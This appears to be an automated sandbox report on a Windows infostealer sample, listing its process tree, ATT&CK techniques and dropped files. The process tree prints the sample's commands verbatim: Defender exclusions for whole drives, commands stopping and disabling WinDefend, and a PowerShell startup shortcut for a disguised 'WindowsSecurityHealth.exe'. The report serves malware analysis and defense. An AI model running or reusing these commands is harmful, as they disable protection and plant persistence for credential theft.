Overview

overview

10

Static

static

3

2026-04-19...at.exe

windows10-2004-x64

10

2026-04-19...at.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    19/04/2026, 03:58

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-04-19_905a3be3b89953d4ded8cabec97f84f5_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  • Size 8.8MB
  • Sample260419-ejyrfsht8s
  • SHA256 9358fb47c5046de2730e32373980078930bd04d361fa9635fff4ad15a670a7e6
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionevasionexecutionpersistencepyinstallerspywarestealertrojan

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 40 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Windows security modification 2 TTPs 8 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-19_905a3be3b89953d4ded8cabec97f84f5_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-19_905a3be3b89953d4ded8cabec97f84f5_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4828
    • C:\Users\Admin\AppData\Local\Temp\2026-04-19_905a3be3b89953d4ded8cabec97f84f5_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-04-19_905a3be3b89953d4ded8cabec97f84f5_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • Modifies Windows Defender Real-time Protection settings
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:3112
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3928
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3832
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2824
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4596
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:444
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1680
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1556
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5080
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1996
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5072
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2564
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2072
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop WinDefend"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1972
        • C:\Windows\system32\sc.exe
          sc stop WinDefend
          4⤵
          • Launches sc.exe
          PID:1376
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc config WinDefend start= disabled"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2400
        • C:\Windows\system32\sc.exe
          sc config WinDefend start= disabled
          4⤵
          • Launches sc.exe
          PID:3776
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command " $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut(\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurityHealth.lnk\") $Shortcut.TargetPath = \"C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeCache\WindowsSecurityHealth.exe\" $Shortcut.WindowStyle = 7 $Shortcut.Save() "
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops startup file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3788
  • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeCache\WindowsSecurityHealth.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeCache\WindowsSecurityHealth.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3656
    • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeCache\WindowsSecurityHealth.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeCache\WindowsSecurityHealth.exe
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • Modifies Windows Defender Real-time Protection settings
      • Executes dropped EXE
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:1896
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3340
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1152
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4496
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2132
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1992
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5040
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4184
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1072
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3824
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2684
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2040
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1376
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop WinDefend"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2280
        • C:\Windows\system32\sc.exe
          sc stop WinDefend
          4⤵
          • Launches sc.exe
          PID:4136
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc config WinDefend start= disabled"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2416
        • C:\Windows\system32\sc.exe
          sc config WinDefend start= disabled
          4⤵
          • Launches sc.exe
          PID:3904
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command " $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut(\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurityHealth.lnk\") $Shortcut.TargetPath = \"C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeCache\WindowsSecurityHealth.exe\" $Shortcut.WindowStyle = 7 $Shortcut.Save() "
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops startup file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3960

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        1
        T1059

        PowerShell

        1
        T1059.001

        System Services

        2
        T1569

        Service Execution

        2
        T1569.002

        Persistence

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        4
        T1543

        Windows Service

        4
        T1543.003

        Privilege Escalation

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        4
        T1543

        Windows Service

        4
        T1543.003

        Defense Evasion

        Impair Defenses

        4
        T1562

        Disable or Modify Tools

        3
        T1562.001

        Modify Registry

        4
        T1112

        Credential Access

        Credentials from Password Stores

        1
        T1555

        Credentials from Web Browsers

        1
        T1555.003

        Unsecured Credentials

        1
        T1552

        Credentials In Files

        1
        T1552.001

        Discovery

        Lateral Movement

        Collection

        Data from Local System

        1
        T1005

        Command and Control

        Exfiltration

        Impact

        Service Stop

        2
        T1489

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 e1e65d1697b9ac59805f677cbc8eec623a899b75b1389354f0948ad3c1513772
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 30bf8496e9a08f4fdfe4767abcd565f92b6da06ca1c7823a70cb7cab16262e51
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 692ec20c7039170fb199510f0436181fd155e6b4516d4d1c9e1675adf99aaa7f
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 c4d16552769ca1762f6867bce85589c645ac3dc490b650083d74f853f898cfab
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 bceb96f5c3d31447980eb8cd891bba75b3e5b6eb60abf4d829fc13cd8faf2582
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 cab7944d29e0501dc0db904ac460ca7a87700e0ec7eb62298b7b97cbf40c424c
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        _raw_aes.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\Crypto\Cipher\_raw_aes.pyd
        • Size 34KB
        • SHA256 520b343e44b5633bbc4fdcecc705a7f2eb6e55d082a1f3e4723ada9d7e5ea97d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _raw_aesni.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\Crypto\Cipher\_raw_aesni.pyd
        • Size 15KB
        • SHA256 3818873f50418cbecde58150e9bffff7372d2c2067fc0b96ffac9482dfddd603
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _cpuid_c.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\Crypto\Util\_cpuid_c.pyd
        • Size 10KB
        • SHA256 2af984819d9b1f95132520901b355eb85aa24d5efc6fc5ae9e77252ed03b7f4b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        VCRUNTIME140.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\VCRUNTIME140.dll
        • Size 117KB
        • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        VCRUNTIME140_1.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\VCRUNTIME140_1.dll
        • Size 48KB
        • SHA256 82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _bz2.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\_bz2.pyd
        • Size 82KB
        • SHA256 fc3b481684b926350057e263622a2a5335b149a0498a8d65c4f37e39dd90b640
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _ctypes.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\_ctypes.pyd
        • Size 128KB
        • SHA256 f63c6c7e71c342084d8f1a108786ca6975a52cefef8be32cc2589e6e2fe060c8
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _decimal.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\_decimal.pyd
        • Size 271KB
        • SHA256 b715d1c18e9a9c1531f21c02003b4c6726742d1a2441a1893bc3d79d7bb50e91
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _hashlib.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\_hashlib.pyd
        • Size 62KB
        • SHA256 838d5c8b7c3212c8429baf612623abbbc20a9023eec41e34e5461b76a285b86c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _lzma.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\_lzma.pyd
        • Size 154KB
        • SHA256 d080eabd015a3569813a220fd4ea74dff34ed2a8519a10473eb37e22b1118a06
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _socket.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\_socket.pyd
        • Size 81KB
        • SHA256 35246b04c6c7001ca448554246445a845ce116814a29b18b617ea38752e4659b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _ssl.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\_ssl.pyd
        • Size 177KB
        • SHA256 63ae2fefbfbbbc6ea39cde0a622579d46ff55134bc8c1380289a2976b61f603e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _wmi.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\_wmi.pyd
        • Size 37KB
        • SHA256 6435c679a3a3ff4f16708ebc43f7ca62456c110ac1ea94f617d8052c90c143c7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        base_library.zip
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\base_library.zip
        • Size 1.3MB
        • SHA256 7cf3c5fd651828d742bd0718272f3e206b7454e3628cc8e0cd3ab9508b335d6c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        libcrypto-3.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\libcrypto-3.dll
        • Size 5.0MB
        • SHA256 4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        libffi-8.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\libffi-8.dll
        • Size 38KB
        • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        libssl-3.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\libssl-3.dll
        • Size 774KB
        • SHA256 2e4d35b681a172d3298caf7dc670451be7a8ba27c26446efc67470742497a950
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        python313.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\python313.dll
        • Size 5.8MB
        • SHA256 0c0a66505093b6a4bb3475f716bd3d9552095776f6a124709c13b3f9552c7d99
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        pywintypes313.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\pywin32_system32\pywintypes313.dll
        • Size 132KB
        • SHA256 9bb6dece38380abc747dce9ba8b0834a2bec469bc942dbcc8658e30ebdfb59a4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        select.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\select.pyd
        • Size 30KB
        • SHA256 78e5994c29d8851f28b5b12d59d742d876683aea58eceea1fb895b2036cdcdeb
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        unicodedata.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\unicodedata.pyd
        • Size 693KB
        • SHA256 2693c7ee4fba55dc548f641c0cb94485d0e18596ffef16541bd43a5104c28b20
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        win32crypt.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI48282\win32\win32crypt.pyd
        • Size 121KB
        • SHA256 f07fbdcebda155ece29f64a4ca199db544bfa1f3472661f20b569d2b56926123
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        __PSScriptPolicyTest_5gskx2uo.opd.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5gskx2uo.opd.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        WindowsSecurityHealth.exe
        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeCache\WindowsSecurityHealth.exe
        • Size 8.8MB
        • SHA256 9358fb47c5046de2730e32373980078930bd04d361fa9635fff4ad15a670a7e6
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/1072-291-0x00000193BA2A0000-0x00000193BA2AC000-memory.dmp
        Download

        memory/1152-264-0x000001E6DD4E0000-0x000001E6DD4EC000-memory.dmp
        Download

        memory/1376-309-0x000002432CAD0000-0x000002432CADC000-memory.dmp
        Download

        memory/1680-123-0x00000212A0A70000-0x00000212A0A7C000-memory.dmp
        Download

        memory/2072-153-0x0000016962DB0000-0x0000016962DBC000-memory.dmp
        Download

        memory/2132-273-0x000001472B900000-0x000001472B90C000-memory.dmp
        Download

        memory/2684-300-0x0000027FDDFE0000-0x0000027FDDFEC000-memory.dmp
        Download

        memory/3656-321-0x00000296A65D0000-0x00000296A66E5000-memory.dmp
        Download

        memory/3788-167-0x00000295E20D0000-0x00000295E20DC000-memory.dmp
        Download

        memory/3832-91-0x000002AC63380000-0x000002AC63390000-memory.dmp
        Download

        memory/3832-102-0x000002AC493E0000-0x000002AC493EC000-memory.dmp
        Download

        memory/3832-90-0x000002AC63380000-0x000002AC63390000-memory.dmp
        Download

        memory/3832-99-0x000002AC632E0000-0x000002AC63302000-memory.dmp
        Download

        memory/3960-319-0x000001BF77E40000-0x000001BF77E4C000-memory.dmp
        Download

        memory/4596-113-0x000001B227AA0000-0x000001B227AAC000-memory.dmp
        Download

        memory/4828-320-0x0000025885400000-0x0000025885515000-memory.dmp
        Download

        memory/5040-282-0x00000289671A0000-0x00000289671AC000-memory.dmp
        Download

        memory/5072-143-0x000001A3392D0000-0x000001A3392DC000-memory.dmp
        Download

        memory/5080-133-0x000001AFE14D0000-0x000001AFE14DC000-memory.dmp
        Download